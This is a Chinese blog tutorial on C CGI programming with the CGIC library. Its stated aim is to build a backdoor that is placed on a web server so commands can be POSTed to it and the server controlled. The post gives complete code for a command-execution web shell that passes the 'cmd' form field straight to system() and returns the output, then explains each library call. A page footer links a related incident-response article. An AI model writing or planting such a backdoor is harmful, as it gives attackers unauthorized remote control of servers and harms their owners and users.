接着C语言CGI编程入门(一),这次来介绍一个C语言库,叫“CGIC”,这是他们的官网:http://www.boutell.com/cgic/
里面该说的都说的很清楚。今天我们来用它来做一个后门,将后门放在有执行cgi权限的服务器上,通过客户端POST命令到cgi上并执行,达到控制服务器的目的。
首先下载官网上的压缩包。解压里面有cgic.c和cgic.h,这是我们需要用到的文件。(另外两个c文件是演示用的,还有一个makefile是linux下使用的,在VS2010中我没有用到它)
从官方的文档和下载的cgictest.c可以看到,这个库里有main函数。因为一个程序只能有一个入口点函数,所以我们不能再定义main函数。这里,我们新建一个工程,将上面说的cgic.c和cgic.h拷贝到工程目录下,最好把cgic.c改成cgic.cpp,这样我们就能用C++的语法来写程序了。
再在工程中添加一个cgiMain.cpp的文件,我们将代码写在其中。我们这个程序只用写一个函数,cgiMain,再包含ccgi库的头文件就行了。
cgiMain我们尽可以把它想象成main函数,只不过名字不一样罢了,我们把自己的代码写进去。执行的时候也和main完全一样,以return 0;退出。
我的这个cmd后门的代码如下:
int cgiMain() { cgiHeaderContentType("text/html"); char szPost[256]; cgiFormString("cmd",szPost,sizeof(szPost)); string strRe,strComm = szPost; strComm += ">01.tmp"; system(strComm.c_str()); ifstream file("01.tmp",ios::in); while (getline(file,strRe)) { cout<<strRe<<"<br />"; } file.close(); remove("01.tmp"); return 0; }
比较简陋,只是来演示一下cgic库的使用。
cgiHeaderContentType是输出html文件的头。我上一篇文章讲了在cgi需要输出内容时,需要先输出“Content-type:text/htmlnn”,这个函数就是起到这个作用。大家看源代码也可以看到。
cgiFormString(“cmd”,szPost,sizeof(szPost));这个函数很重要。众所周知,POST或GET到的字符串是这样一个格式:a=xxxxxx&b=yyyyyy&c=112233。我们这个函数,就是获得每一个索引对应的值。
第一个参数是索引的名字,第二个参数是保存获取到的值的字符串,第三个值是字符串大小。比如我们获取到的是cmd=ipconfig,则通过索引“cmd”就能获取到值ipconfig。
原则上来说,获取到了值,也就是命令的内容“ipconfig”,我们就可以执行了。但是我用的system函数不能返回执行结果。所以我换个方式,将执行的结果放入一个临时文件,然后从文件中获取到执行结果并删除文件。这也就是我后面的代码做的工作。都是CPP的内容我就不细讲了,文件操作也可以使用C语言中的fopen、fgets,效果相同。
提一下,如果要把一个命令的输出内容放入文件,直接在命令后面加”>xx.txt”就行,就输出到了xx.txt文件中(绝对路径也行)。
ccgi是一个优秀的C语言CGI库,英语不好的同学可以结合我附件中的doc,里面有各个函数的中文介绍,包括设置cookie、上传文件等等功能。所以说很强大。
演示一下效果:
在本地html(本地客户端请大家自己思考着自己写)中输入命令:
点击提交后返回结果:
附件:
相关推荐: 【应急响应】redis未授权访问致远程植入挖矿脚本(防御篇)
作者:aerfa 转载自 我的安全视界观 前言:安利一波这个微信公众号,发表的文章都写的非常好,,无论是新手还是老师傅,,这个公众号里的文章一定能带来技术上的提升! 0 前言 应急响应这一专题,本来并没有打算写。正如公众号的说明所言,比较想分享安全测试、漏…
请登录后发表评论
注册